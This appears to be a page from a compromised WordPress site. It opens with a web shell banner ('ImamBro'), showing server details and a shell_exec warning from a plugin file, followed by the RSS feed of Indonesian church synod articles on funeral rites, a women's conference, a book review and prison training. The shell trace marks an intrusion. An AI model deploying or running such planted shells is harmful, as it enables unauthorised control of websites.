ImamBro

Linux cl450113x.maintenis.com 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64
/home/k0357251/public_html Command

Warning: shell_exec() has been disabled for security reasons in /home/k0357251/public_html/wp-content/plugins/hello.php on line 26
Artikel – Sinode Gereja Protestan Maluku http://sinodegpm.org Media Center GPM Fri, 19 Oct 2018 22:30:51 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.8 Tuagama dan Pendeta http://sinodegpm.org/?p=5844 http://sinodegpm.org/?p=5844#comments Fri, 26 Jan 2018 03:03:21 +0000 http://sinodegpm.org/?p=5844

I – Dimensi Ritus

Ritus itu menjadi unik karena pelaku ritus melakukan tindakan ritus yang bersumber dari pengetahuan, keyakinan dan rasa hormat mereka akan obyek ritus itu.

Liturgi gereja pun dikembangkan pelaku liturgi menurut pakem yang umum serta melibatkan unsur-unsur keyakinan pelakunya (baca.gereja).

Dalam tradisi pemakaman di Jemaat-jemaat GPM, ada pola-pola ritus yang unik.

Jemaat-jemaat di Maluku Tenggara, Maluku Tenggara Barat dan Maluku Barat Daya menjadikan kain tenun sebagai wujud penghormatan kepada anggota keluarga mereka yang meninggal. Di sini, Om atau “bapa tua” memikul tanggungjawab atas nama keluarga dan wajib memberi tanda hormat itu. Termasuk kepada menantu yang meninggal. Karena menantu itu sudah menanggung hidup anak mereka.

Jalinan kekerabatan (manghoi rahan fak) akan terus dipelihara sampai ke generasi kapan pun.

Di Maluku Utara, bentuk penghormatan diwujudkan dengan menanggung makan semua pelayat yang melayat kedukaan mereka. Ini wujud sukacita dan sukarela karena mereka sadar bahwa selama kerabat mereka hidup, banyak orang telah membantunya.

Di Maluku Tengah, kita pun mendapati fenomena-fenomena unik. Salah satunya ialah persekutuan Muhabeth/Paramponang yang dilembagakan sebagai sebuah organisasi sejak dahulu untuk melayani kedukaan semua anak negeri.

Di situ pun ada ritus-ritus tertentu. Misalnya petugas tifa yang bertugas menyampaikan kabar duka kepada seisi negeri di mata-mata jalan.

Tukang biking peti adalah pelaksana pembuatan peti jenazah. Demikian pun tukang gale kubur dan tukang kas mandi jenazah, masing-masing menjalankan tugas sesuai urusan yang telah ditentukan sejak semula.

Dalam prosesi pemakaman pun, misalnya di Hukurila, ada pelayan yang justru ditetapkan oleh Saniri Negeri sebagai Paidadu. Ia adalah kepala pintu kubur yang bertugas mengantar jenazah masuk ke dalam areal pemakaman. Ia biasa mempersilahkan para pengusung peti jenazah masuk melalui pintu areal pekuburan.

Di Waai dan Ema, sebelum jenazah diusung, ada tradisi “seghen”/seheng. Yakni orang yang mengenal saudara yang meninggal akan menyampaikan suatu kisah tentang jalan hidupnya baru jenazah diusung ke pekuburan.

II – Tuagama dan Kedukaan Pendeta

Diketahui secara bersama bahwa tuagama adalah pelayan rumah TUHAN yang bertugas mempersiapkan rumah TUHAN untuk segala ibadah jemaat. Dari menyapu, membersihkan mimbar, bangku gereja, dan terutama melayani akta “toki lonceng” sebagai simbol suara TUHAN yang memanggil umatNya untuk beribadah.

Ada pewarisan cerita dari tuagama tua kepada tuagama muda ketika mereka bertugas. Mereka bertugas sampai akhir hidupnya tanpa diganti.

Cerita-cerita yang diwariskan itu antara lain formulasi doa saat mau “toki lonceng” satu, dua dan tiga kali. Salah satunya ialah : “berdoa supaya jemaat dengar lonceng la dong datang ibadah/gareja”.

Saya pernah melihat di Rutung, para tuagama yang mengusung peti jenazah seorang anggota Majelis Jemaat yang meninggal. Menurut mereka, itu adalah tugas mereka, bukan tugas Majelis Jemaat sebab mereka yang harus mempersiapkan segala sesuatu untuk ibadah.

Hari ini (Jumat, 26/1-2018) dalam prosesi pemakaman rekan Pdt. Ny. Joke Kiriweno Rahayaan, S.Si, Ketua Majelis Jemaat GPM Lafa, Klasis Telutih, satu lagi pemandangan unik.

Dua orang Tuagama dari Jemaat GPM Lafa, Tuagama Cada Tehuayo (52) dan Wate Mujilina (56), mereka berdiri di depan mimbar menghadap peti jenazah Ketua Majelisnya.

Bagi mereka, itu adalah tugas mereka untuk mendampingi Pendetanya yang telah dipanggil pulang oleh TUHAN. Sebab salah satu tugas mereka adalah menemani perjalanan tugas Pendeta.

Jika dikaitkan dengan keseharian dalam pelayanan, mereka selalu bersama pendea saat turney atau kunjungan tugas, atau menghadiri kring PI (utusan Injil), atau Sidang-sidang Gereja.

Para tuagama naik turun gunung sambil memikul tas pakaian pendetanya. Bagi mereka ini tugas mulia. Bahkan ada pamali-pamali tertentu seperti “seng boleh bajalang langgar Pandita, musti jaga dari blakang”.

Ini gambaran yang membuat mengapa tugas berjalan bersama ini adalah panggilan kita bersama-sama.

Di gereja ini, segala suka dan duka kita “pikul’ bersama-sama.

Selamat jalan Pdt. Ny. Joke Kiriweno Rahayaan, S.Si . Kami akan terus ada untuk berjalan bersama.

————————

26/1-2018, Gereja Irene, Jemaat GPM Souhoru, Klasis Pulau Ambon Timur.

 

Penulis : Pdt. E T Maspaitella, M.Si - Sekum MPH Sinode GPM

 

31,398 total views, 5 views today

]]>
http://sinodegpm.org/?feed=rss2&p=5844 36
Bahasa Sebagai Problem Pada Menara Babel http://sinodegpm.org/?p=5813 http://sinodegpm.org/?p=5813#comments Wed, 10 Jan 2018 04:24:24 +0000 http://sinodegpm.org/?p=5813

Download (DOCX, 38KB)

26,654 total views, 1 views today

]]>
http://sinodegpm.org/?feed=rss2&p=5813 108
Jadilah Perempuan-Perempuan Kabaressi Yang Rendah Hati: Kabar Konferda III Peruati Maluku 2016 http://sinodegpm.org/?p=2541 http://sinodegpm.org/?p=2541#comments Sun, 13 Nov 2016 01:40:23 +0000 http://sinodegpm.org/?p=2541

publishSinodeGPM.ORG, Masohi – Pdt. (Em.) Nn. Saar Latuny, S.Th., menutup khotbahnya dalam ibadah penutupan Konferensi Daerah (Konferda) III Persekutuan Perempuan Berpendidikan Teologi (Peruati) Maluku dengan menyatakan, “Para perempuan di Peruati harus kabaressi, pele putus malintang patah, tetapi rendah hati.” Kabaressi, pele putus malintang patah adalah ungkapan orang Maluku untuk menyatakan ketangguhan dan keberanian seseorang menghadapi realita kehidupan. Senada dengan itu, Pdt. A. Iwamony/Uniplaita, M.Si., sebagai Badan Pengurus Nasional Peruati dalam sambutan penutupannya menyatakan bahwa yang dibutuhkan dari para perempuan adalah tampil apa adanya sebagai perempuan.

Konferda III Peruati Maluku berlangsung di Gedung Gereja Mahanaim Jemaat GPM Masohi pada 11-12 November 2016. Di bawah sorotan tema “Melangkah Bersama Menuju Pembebasan dan Transformasi,” Konferda III Peruati Maluku telah berhasil melaksanakan tugasnya, yaitu: (1) Membahas laporan pertanggungjawaban Badan Pengurus Daerah (BPD) Peruati Maluku periode 2012-2016; (2) Menyusun program kerja berdasarkan garis-garis besar program; (3) Memilih dan menetapkan BPD Peruati Maluku periode 2016-2020.

Diawali dengan pengayaan akademis, para peserta Konferda III Peruati Maluku mendapat suntikan ide dan gagasan dari beberapa narasumber. Pdt. Dr. Ny. M.M. Hendriks/Ririmasse mengupas tema Konferda III dengan menyampaikan beberapa langkah pembebasan yang perlu dilakukan, yaitu: (1) Membangun kemitraan sejajar perempuan dan laki-laki; (2) Langkah bersama kaum LGBT(IQ); (3) Langkah bersama kaum disabilitas; (4) Langkah bersama kaum pribumi dan alam semesta. Penjabaran tema itu dilakukan lebih lanjut dalam diskusi panel dengan topik “Kemitraan laki-laki dan perempuan menuju keadilan gender,” dengan pemateri Ketua Sinode GPM Pdt. A.J.S. Werinussa, M.Si., Pdt. Dr. Lies Mailoa, dan Kepala Badan Pemberdayaan dan Perlindungan Anak Provinsi Maluku.

Sesuai tata tertib Konferda Peruati, para peserta yang mengikuti kegiatan ini terdiri dari peserta inti sebanyak 46 orang dan peninjau sebanyak 71 orang. Pada saat pemilihan BPD Peruati Maluku periode 2016-2020, sebanyak 34 orang peserta inti yang menggunakan hak suaranya. Hasilnya adalah terbentuknya kepengurusan BPD Peruati Maluku periode 2016-2020 yang susunannya sebagai berikut:

Pelindung: BPN Peruati

Penasehat:

  1. Pdt. Dr. M.M. Hendriks – Ririmasse
  2. Pdt. J. P. Ruhulessin – Gaspersz, S.Th
  3. Pdt. R. Talaway – Salampessy
  4. Pdt. M. Soukotta – Joseph

Ketua                   : Pdt. Marlen Tuhusula – Talakua, M.Th.

Wakil Ketua        : Pdt. Dra. Novadyette Mailoa – Nahusona, M.Si.

Sekretaris            : Pdt. Mauren Ferdinandus – Lattuihamalo, M.Si.

Wakil Sekretaris : Pdt. Mayolana Laturiuw – Horhoruw, M. Si.

Bendahara           : Pdt. M. Syahalatua – Wattimury, S.Th.

Anggota                :

  1. Pdt. Dr. F. Patty – Muskitta
  2. Pdt. M. Wattimury – Wattimena
  3. Pdt. Th. Effendy – Usmany
  4. Pdt. N. Refialy – Latupapua
  5. Pdt. Jois Fabeat – Rooy
  6. Pdt. Netty Wenno – Salenussa

BPK:

  1. Pdt. A. Pariama – Manuhutu
  2. Pdt. L. Pattipawae – Souissa
  3. Pdt. A. Hursepuny – Nussy

Selamat kepada BPD Peruati Maluku yang baru terpilih dan dilantik. Semoga Peruati dapat menjadi mitra istimewa bagi GPM sebagaimana harapan Ketua Sinode GPM.

Penulis: Jusnick Anamofa

5,563 total views, 5 views today

]]>
http://sinodegpm.org/?feed=rss2&p=2541 56
Perempuan di Ruang Publik http://sinodegpm.org/?p=1074 http://sinodegpm.org/?p=1074#respond Wed, 05 Nov 2014 11:28:14 +0000 http://sinodegpm.org/?p=1074
Foto Ilustrasi
Foto Ilustrasi

SinodeGPM.org – Perkara perspektif memang menjadi masalah paling mendasar yang akan terus mengintai perdebatan masalah perempuan yang dikemas dalam isu “kesetaraan gender” yang mesti ditanggulangi ilmuan, peneliti dan aktivis ketika berhadapan dengan fenomena yang dibayangkan merupakan masalah perempuan. Perempuan, laiknya laki-laki, adalah makluk manusia yang memiliki kemerdekaan berpikir dan bertindak (agency) yang, jika dipaksa-paksa, akan bisa melakukan perlawanan.

Pada konteks itu, buku ini bisa dibaca bukan sebagai “keluhan lirih”, melainkan sebagai cara melihat masalah dengan cara yang berbeda, seraya mencoba memaknai “perubahan yang seakan-akan” di era reformasi, demi menemukan titik pijak baru untuk terus melanjutkan sebuah ikhtiar. Setelah membaca buku ini, mungkin kita akan tiba pada hipotesis baru: Setiap ikhtiar akan mewujud hanya dengan diperjuangkan meski dengan sangat letih, namun setiap yang berjuang tak bisa bilang capek…” demikian sebagian penggalan kutipan pengantar Murid Tonirio, akademisi IAIN Ternate yang sedang melanjutkan studi S3 Antropologi UGM untuk buku karangan Hj Laily Ramadhan Can, berjudul Perempuan dalam Tarung Dominasi (UMMU Press, 2014).

Buku ini seakan merupakan sebagian rekam jejak tentang pergulatan perempuan, khususnya di Maluku Utara di ruang publik untuk mencapai posisi yang setara dengan laki-laki. Sebuah pergumulan yang tidak ringan karena harus berhadapan dengan dominasi laki-laki yang sudah berurat akar dalam sejarah yang panjang. Namun pertanyaanya adalah apakah soal laki-laki dan perempuan mesti diposisikan secara berhadap-hadapan yang memberi kesan seakan-akan tidak ada titik temu pada kedua makluk yang sama yang beda jenis kelamin ini? Haruskah upaya mewujudkan kesetaraan gender itu dibebankan di pundak perempuan semata, sedangkan tidak sedikit laki-laki yang juga peduli dan turut terlibat dalam gerakan-gerakan gender tersebut?. Bahwa pada suatu masa perlu adanya “kebijakan khusus” untuk lebih memprioritaskan perempuan daripada laki-laki, maka itu tidak harus dibaca sebagai adanya dikotomi yang diametral, namun lebih pada penyediaan ruang yang lebih luas agar perempuan dapat lebih optimal mengembangkan dirinya. Maka pada masa tertentu pemerintah teristimewa lembaga-lembaga asing membuat aturan yang secara eksplisit mensyarakatkan keterlibatan perempuan pada tiap program yang dibiayai lembaga-lembaga tersebut. Keberadaan Kementrian Perempuan dan Perlindungan Anak dapat dilihat sebagai pembenar hal tersebut. Tentu dengan catatan bahwa apakah dengan adanya kementrian khusus ini maka masalah perempuan dan anak sertamerta tertangani.

Buku ini memiliki dua keunikan. Pertama ditulis oleh seorang perempuan yang secara konsisten mengambil peran di ruang publik dan mengkomunikasikan suara perempuan secara terus menerus. Penulis yang mantan anggota KPUD Maluku Utara ini merupakan pelaku (agency) dari sedikit perempuan Maluku Utara yang “keluar” dari benteng pertahanannya (baca: ruang domestik). Penulis bukan hanya menulis tetapi berkarya. Bahkan buku ini merupakan sebentuk refleksi atas apa yang dikaryakannya di ruang publik bersama rekan-rekan perempuan (dan laki-laki) yang bernaung di sebuah lembaga yang bernama Pusat Studi Perempuan dan Anak (PUSPA) Universitas Muhammadiah Maluku Utara (UMMU).

Kedua, buku ini merupakan sebagian rekam jejak dinamika dan perkembangan gerakan perempuan di Maluku Utara. Membaca buku ini kita ditolong untuk melihat geliat perempuan Maluku Utara, khususnya di kota Ternate dalam perjuangannya di ruang publik. Tulisan tentang perempuan-perempuan perkasa dalam buku ini memberikan informasi serta tafsir tentang keterlibatan perempuan (ibu-ibu) di ruang publik. Dengan cara dan pola yang khas mereka turut “membersihkan” ruang publik dari kecenderungan polusi yang dilakukan oleh perempuan sendiri dan atau laki-laki. Memang jika ditilik secara lebih mendalam, gerakan protes ibu-ibu Falajawa terhadap praktik prostitusi belum sefenomenal apa yang dilakukan oleh rekan-rekannya di Argentina misalnya, namun gerakan ini dapat menjadi entri poin untuk memotret keberanian perempuan bernegosiasi dan berperan di ruang publik demi tatanan hidup bersama yang lebih baik. Di dalam buku ini juga disentil keberadaan perempuan di parlemen (daerah), perempuan perempuan dan problem tenaga kerja, perempuan dan peningkatan PAD, peran perempuan dalam keluarga, perempuan dan budaya.

Sebagai buku kumpulan artikel dan makalah yang pernah dipublikasikan di beberapa koran lokal dan kegiatan seminar/diskusi terbatas, buku ini tentu lebih bersifat informatif dan reflektif. Olehnya bagi pembaca yang ingin mendalami isu-isu yang diangkat dalam buku ini perlu membaca sumber-sumber bacaan lainnya yang lebih teoritik, sehingga dapat menelaah lebih jauh dan mendalam berbagai persoalan yang telah dipetakan dalam buku ini. Para aktivitas, mahasiswa, tokoh agama, termasuk pemerintah dan pemangku kepentingan lainnya dapat menjadikan buku ini sebagai salah satu referensi untuk menemukenali berbagai persoalan seputar pergulatan perempuan dan anak di Maluku Utara dan Ternate pada khususnya.

Sebagai contoh, bagi para tokoh agama, seperti yang disitir Murid Tonirio dalam pengantar buku ini, salah satu problem mendasar terkait kehadiran perempuan di ruang publik adalah sejauhmana tafsir agama memberi ruang yang cukup bagi perempuan untuk eksis di ruang publik. Bukan rahasia umum lagi bahwa seringkali agama menjadi faktor yang turut berpengaruh pada maju mundurnya wacana dan praksis perempuan di ruang publik. Setiap agama memiliki tafsir yang beragam soal eksistensi perempuan dalam lintas sejarah. Dr Muhlish Hafel benar ketika berkata, tantangan terberat perempuan di ranah publik adalah ketika tubuh perempuan hanya dipandang sebagai sumber maksiat dan dosa. Ada masa dimana perempuan benar-benar dikungkung dalam tafsir agama yang kaku, namun ada saat dimana perempuan mendapat ruang yang besar dalam tafsir agama yang lebih terbuka dan egaliter. Di kawasan dimana agama masih mendominasi tafsir kebenaran, maka salah satu pertarungan terkait isu perempuan di ruang publik adalah bagaimana membuat agama lebih fungsional dan ramah terhadap perempuan. Tentu saja hal ini semakin realistis ketika agama dikembalikan kepada fitrahnya sebagai pembawa rahmat bagi semesta ciptaan, termasuk bagi perempuan dan laki-laki. Jalan ke arah sana masih panjang dan berliku, namun jalan itu mesti ditapaki, bahkan andaikan jalan itu adalah jalan yang jarang ditapaki. Sebab siapa tahu di ujung jalan itu ada secercah harapan baru… Semoga.

Catatan dari Lenteng Agung (Jakarta)
Oleh: Rudy Rahabeat (Pendeta Gereja Protestan Maluku)

2,274 total views, 1 views today

]]>
http://sinodegpm.org/?feed=rss2&p=1074 0
Pelatihan Wira Usaha Baru Kepada Warga Binaan di Rutan Saumlaki http://sinodegpm.org/?p=716 http://sinodegpm.org/?p=716#comments Wed, 18 Jun 2014 10:43:34 +0000 http://sinodegpm.org/?p=716

Pelatihan Wira Usaha Baru (WUB) Pembuatan Mebel (MEJA–KURSI) Bambu dan Pring Lidi Kepada Warga Binaan di Rutan Saumlaki

25 – 30 Mei 2014

Bahwa pelayanan kepada warga binaan yang karena pelanggaran hukum tertentu yang diputuskan oleh pengadilan harus berada di rumah tahanan (rutan) atau penjara, adalah salah satu tugas gereja yang tak dapat diabaikan. Adalah kata-kata Penginjil Matius dalam Matius 25:35–36 (khusus anak kalimat: “ketika aku dalam penjara, kamu mengunjungi aku”) telah menjadi roh yang mengharuskan gereja melakukan pelayanan di penjara. Tugas untuk melayani sesama, bahkan yang terpenjara, membentang sepanjang lintasan bumi dan melingkupi seluruh waktu. Mengapa? Sebab warga binaan atau yang sering kita sebut sebagai narapidana atau napi adalah juga manusia yang diciptakan oleh Allah dengan segala kemuliaan dan hak-haknya.

Dalam banyak pengalaman, warga binaan yang dipenjarakan tidak siap menghadapi keterkejutan awal akibat kehilangan pekerjaan  dan penghasilan, terkucil dari keluarga dan teman serta merasa diperlakukan tidak adil, dan lain-lain. Banyak di antara mereka yang kemudian merasa kecil hati, hilang harapan, marah, dendam, dan benar-benar tertolak. Penjara cenderung membuat mereka tergantung dan sering kali tidak mempersiapkan mereka untuk mejalani hidup ketika kembali di tengah masyarakat setelah menjalani hukuman  dan dinyatakan bebas. Belajar “bertahan hidup”  dalam “budaya penjara”  dengan kode-kode yang unik tentang moralitas, membuat sedikit saja warga binaan yang berhasil keluar dari kungkungan budaya penjara, setelah berada di tengah masyarakat. Di tengah realitas itu, Klasis GPM Tanimbar Selatan bersama Dinas Perindustrian Provinsi Maluku menggelar kegiatan Pelatihan yang bertajuk Pelatihan Wira Usaha Baru (WUB) Pembuatan Mebel (Meja-Kursi) berbahan baku Bambu dan Piring Lidi (kelapa). Proses pelatihan ini tidak lain dari misi gereja untuk memberdayakan potensi warga binaan dengan jalan memperlengkapi warga binaan dengan sejumlah ketrampilan untuk (nantinya) menjalani hidup di tengah masyarakat usai menjalani proses hukum pada sisi lain dan upaya memanfaatkan potensi alam (bambu) yang cukup banyak tersedia di Tanimbar. Keberhasilan pelatihan ini dengan sendirinya meruntuhkan persepsi bahwa rumah tahanan adalah tempat mengisolasi kreatifitas manusia sebagai warga binaan. Dengan kata lain, keberhasilan pelatihan ini membuktikan bahwa dimanapun kita berada, pikiran dan kreatifitas kita tidak boleh terkungkung oleh tembok, dengan alasan-alasan pembenaran lainnya.

Instruktur, Peserta dan Hasil Kerja.

Pelatihan ini bisa terselenggara dengan baik, karena kesediaan dan ibu San Beay sebagai instruktur piring lidi, dan bapak Tinus Kupang sebagai instruktur mebel (meja-kursi) bambu, untuk berbagi ilmu dan ketrampilan dengan warga binaan, yang berjumlah 71 orang, yang dibagi ke dalam 2 (dua) kelompok kerja, yakni :

  1. Kelompok kerja Piring Lidi    = 28 orang.
  2. Kelompok kerja mebel (Meja-kursi) bambu = 43 orang.

Setelah menjalani proses pelatihan yang berat, menguras pikiran, tenaga dan waktu selama 6 (enam) hari, kedua kelompok kerja tersebut dapat menghasilkan produk berupa 6 (enam) set mebel (meja-kursi) bambu dan 7 (tujuh) lusin piring lidi. Pada acara penutupan, seluruh produk hasil kerja masing-masing kelompok langsung ditawarkan kepada undangan yang hadir, dan semuanya laku terjual. Bahkan ada undangan lain yang belum memperoleh kesempatan pertama  “menikmati” output warga binaan, langsung memesan sejumlah set mebel (meja-kursi) bambu dan beberapa lusin piring lidi untuk kebutuhan masing-masing. Warga binaan menyambut kebutuhan tersebut dengan sukacita, dan berkomitmen untuk tetap mengembangkan produknya, walaupun untuk sementara ini peralatan yang dimiliki sangat terbatas.

Terhadap antusiasme warga binaan ini, Wakil Bupati Maluku Tenggara Barat, bapak P.P. Werembinan, SH., dalam sambutan saat menutup kegiatan pelatihan ini berjanji untuk mengupayakan fasilitas atau peralatan yang dibutuhkan, dan mengupayakan pasar untuk memasarkan hasil produksi warga binaan, dengan ketentuan, produk yang dihasilkan harus dalam jumlah yang cukup, dengan tetap menjaga kualitasnya.

Faktor Pendukung dan Penghambat.

Bahwa berhasilnya pelatihan ini ditopang oleh sejumlah aspek sebagai faktor pendukung,  yang dapat kami sebutkan sebagai berikut :

  1. Adanya topangan dari Kepala Rutan Saumlaki bersama semua Staf.
  2. Tingginya antusiasme warga binaan untuk dilatih dan mengembangkan potensi diri dan alam.
  3. Tersedianya bahan baku (bambu dan lidi daun kelapa) dalam jumlah dan mutu yang  baik.
  4. Tersedianya peralatan kerja yang dibutuhkan (walaupun jumlahnya terbatas).
  5. Tersedianya anggaran yang dibutuhkan.
  6. Komunikasi dan koordinasi antar lembaga (Klasis GPM Tanimbar Selatan dengan Pemerintah Daerah Provinsi melalui Kepala Dinas Perindustrian dan Perdagangan dan Pemerintah Daerah Kabupaten MTB), dengan para donatur dan sponsor berjalan lancar.
  7. Keterlibatan tenaga pelatih sebagai instruktur yang ahli di bidangnya.
  8. Lokasi pelatihan (di Rutan Saumlaki) yang terpusat dan membuat peserta terkonsentrasi.
  9. Hasil kerja (output) pelatihan berupa kursi-meja bambu dan piring lidi dengan kualitas yang baik.
  10. Tersedianya pasar lokal untuk memasarkan hasil kerja dan antusiasme pembeli/peminat untuk menggunakan hasil produksi warga binaan.

Selain faktor pendukung, beberapa kendala sebagai faktor penghambat kerja berikut ini patut kami sebutkan dalam upaya evaluasi dan keberlanjutan program pelatihan ini, yaitu :

  1. Kurangnya jumlah peralatan kerja seperti pisau dan pahat untuk pembuatan meja-kursi bambu. Hal ini membuat peserta saling menunggu untuk memanfaatkan kedua peralatan tersebut.
  2. Peralatan kerja sebagaimana disebutkan pada point (a) di atas sulit diperoleh di Saumlaki dan Ambon dan karena itu harus dipesan dari luar daerah.
  3. Pengambilan bahan baku secara bertahap turut menghambat efektifitas kerja kelompok piring lidi.
  4. Waktu pelatihan yang dialokasikan oleh instruktur dari Dinas Perindag Propinsi Maluku terasa  singkat; karena itu proses pelatihan terkesan terburu-buru, mengejar waktu hingga malam hari, membuat peserta bisa kehilangan fokus karena kelelahan.

Rencana Tindak Lanjut.

Bahwa output dari pelatihan ini bukan semata-mata berupa produk yang dipasarkan, tetapi keberlanjutan program ini yang harus diperjuangkan bersama. Antusiasme dan  ketrampilan untuk mengembangkan potensi diri warga binaan telah dimiliki. Tersedianya bahan baku produksi dalam jumlah dan mutu  untuk terus dikembangkan. Adanya pasar lokal yang meminati hasil karya anak-anak Duan-Lolat. Semua kesempatan itu terbuka dengan lebar.

Karena itu, upaya tindak lanjut dari kegiatan ini adalah kebutuhan yang tak dapat ditawar. Untuk maksud itu, kami telah memohon kesediaan Pemerintah Provinsi Maluku melalui Kepala Dinas Perindag Provinsi Maluku dan Pemerintah kabupaten Maluku Tenggara Barat melalui Kepala Badan Perindagkop Kabupaten Maluku Tenggara Barat, untuk membantu memfasilitasi warga binaan dengan sejumlah peralatan kerja yang dibutuhkan, minimal untuk 5 (lima) kelompok kerja, dan semuanya akan ditempatkan di rumah tahanan Saumlaki.

Kami berharap, kedepan rumah tahanan Saumlaki dapat dijadikan sebagai “bengkel” kerja mebel bambu dan piring lidi, dimana warga binaan secara terus-menerus dapat memproduksi karya mereka. Disamping itu terbuka juga kemungkinan bagi masyarakat umum lainnya, untuk belajar dan “menimba ilmu” di rumah tahanan. Kemungkinan ini tentu merupakan proses sosialisasi diri warga binaan di rumah tahanan dengan masyarakat umum lainnya, agar mereka tidak dianggap sebagai “penyakit masyarakat” dan karena itu harus dijauhi dan diperlakukan sesara diskriminatif. Selain itu masyarakat umum lainnya memperoleh perspektif baru tentang siapa itu warga binaan yang sesungguhnya.

Untuk semua proses tersebut, puji dan syukur kami panjatkan ke hadirat Yesus Kristus, Tuhan yang Maha Pengasih, karena lewat tuntunan-Nya, seluruh rangkaian kegiatan Pelatihan dimaksud telah bejalan dengan baik dan berlangsung dengan sukses, sejak tanggal 25 – 30 Mei 2014. Hal ini hanya bisa terjadi  berkat bantuan dari banyak pihak yang sepanjang 6 (enam) hari ini telah terlibat, baik secara langsung maupun tidak langsung. Termasuk kerja keras Pdt. William J. Hehakaya, S.Th., yang ditugaskan oleh Majelis Pekerja Klasis sebagai Pendeta Pendamping di rumah tahanan (rutan) Saumlaki, sekaligus koordinator atas kegiatan pelatihan ini. Tidak terkecuali, bapak Ir. Angky Papilaya, M.Si., Kepala Dinas Perindag Provinsi Maluku yang menyambut dengan antusias program pelatihan ini, dan membantu dengan fasilitas yag dibutuhkan.

Semoga hasil pelatihan ini berguna bagi masa depan warga binaan di rutan Saumlaki, sekembalinya mereka ke tengah masyarakat. Teruslah berjuang. Semoga Yesus Kristus senantiasa memberkati upaya kita bersama.

Lampiran:

GAMBAR/FOTO AKTIFITAS PELATIHAN DAN

HASIL KERJA (OUTPUT) PELATIHAN

Saumlaki, 10 Juni 2014.

 Kontributor

 PDT. MAX. CHR. SYAUTA

2,574 total views, 2 views today

]]>
http://sinodegpm.org/?feed=rss2&p=716 1
Konsultasi Nasional ke-4: Menjelang Agenda Nasional 2014, Pemilu & Pilpres, Apa Yang Harus Dilakukan http://sinodegpm.org/?p=536 http://sinodegpm.org/?p=536#comments Wed, 11 Dec 2013 10:00:35 +0000 http://sinodegpm.org/?p=536

oleh Institut Leimena

 

Jakarta, 25-27 Oktober 2013

Konsultasi Nasional ke-4 diselenggarakan oleh Persekutuan Gereja-gereja di Indonesia (PGI), Persekutuan Gereja-gereja dan Lembaga-lembaga Injili Indonesia (PGLII), dan Persekutuan Gereja-gereja Pentakosta Indonesia (PGPI), bekerjasama dengan Institut Leimena yang ditunjuk sebagai Panitia Pelaksana. Ceramah kunci “Menjelang agenda nasional 2014, Pemilu dan Pilpres, Apa yang harus dilakukan” oleh Menteri Koordinator Bidang Politik, Hukum, dan Keamanan Marsekal TNI (Purn.) Djoko Suyanto, menjadi pembuka acara konsultasi yang berlangsung di sebuah hotel di Jakarta ini.

Acara ini diikuti sekitar 150 peserta yang sebagian besar merupakan pimpinan dari 65 sinode gereja, 10 lembaga gereja aras nasional dan regional, dan  9 perguruan tinggi dan lembaga lainnya, yang berasal dari 20 provinsi. Selama 3 (tiga) hari para peserta antusias mengikuti sesi-sesi dalam konsultasi ini yang membahas antara lain, Mengenal Pilihan-Pilihan Pemilu 2014, Perkembangan Politik Nasional dan Pemilu 2014, Peran dan Tantangan Gereja Menjelang Pemilu 2014, Membangun Peradilan Yang Jujur dan Bersih, Mendorong Pembentukan Legislasi yang Sesuai Aspirasi Rakyat dan Nilai-Nilai Pancasila, Melawan Korupsi Dengan Mencegah Pencucian Uang, dan  Prospek dan Tantangan Perekonomian Nasional.

Pada hari terakhir, lahir sebuah dokumen Rekomendasi Konsultasi  Nasional ke-4 yang disepakati bersama oleh penyelenggara yaitu PGI, PGLII, PGPI dan Institut Leimena, dengan isi selengkapnya sebagai berikut:

Hasil dan Rekomendasi

Gereja dipanggil untuk mengupayakan kesejahteraan kota dan negara di mana gereja berada (Yeremia 29:7). Kerajaan Allah harus disaksikan tidak hanya di dalam lingkup gereja, tetapi juga di dalam segala bidang kehidupan bermasyarakat, berbangsa, dan bernegara.
 
Memasuki agenda nasional 2014, yaitu Pemilu dan Pilpres, dan selanjutnya, tugas utama kita ialah membangun sistem berdasarkan Pancasila dan UUD 45 yang mampu menopang kehidupan berbangsa dan bernegara yang sehat, serta membangun sumber daya manusia berkualitas yang mampu ikut serta mengembangkan sistem tersebut. Semua ini adalah dalam upaya konsolidasi demokrasi yang telah dimulai sejak amandemen UUD 45 tahun 1999-2002. Sesuai amanat UUD 45, sistem yang dibangun haruslah memperkuat demokrasi konstitusional, menegakkan negara hukum, dan mendukung pembangunan ekonomi yang berkelanjutan dan berkeadilan. 
 
UUD 45 menjamin hak warga negara untuk ikut berpartisipasi aktif dalam hal ini, sehingga gereja sebagai lembaga yang berbasis kuat di masyarakat perlu ikut mendorong dan menfasilitasi partisipasi aktif warga negara ini. Peran ini merupakan bagian dari panggilan gereja sebagai garam dan terang dalam kehidupan bermasyarakat, berbangsa, dan bernegara. 
 
Rekomendasi: 
1. Agar warga tidak terpengaruh politik uang dan berpartisipasi dalam Pemilu dan Pilpres 2014 dengan memilih pemimpin dan wakil rakyat yang memiliki rekam jejak sebagai pemimpin yang takut akan Tuhan dan taat pada UUD 45. 
2. Agar gereja terlibat aktif dalam pendidikan dan kaderisasi politik warga yang berkesinambungan. 
3. Agar mengajak jemaat untuk ikut melakukan pengawasan peradilan di daerahnya.
4. Agar melawan korupsi dengan memberikan pendidikan anti-korupsi sejak anak-anak dan menolak sumbangan hasil korupsi dan tindak kejahatan lainnya.
5. Agar membina mentalitas kewirausahaan yang sesuai dengan iman Kristiani dalam rangka pemberdayaan ekonomi warganya untuk menjadi berkat bagi masyarakat.
6. Agar membentuk wadah-wadah diskusi dalam lingkuan gereja dan masyarakat sekitar untuk membahas aspirasi masyarakat bagi pembentukan peraturan perundang-undangan.  

1,509 total views, 1 views today

]]>
http://sinodegpm.org/?feed=rss2&p=536 4
Semangat Pencerdasan dan Pembaharuan di Bumi Maluku http://sinodegpm.org/?p=513 http://sinodegpm.org/?p=513#comments Fri, 06 Dec 2013 09:19:53 +0000 http://sinodegpm.org/?p=513
Oleh Institut Leimena

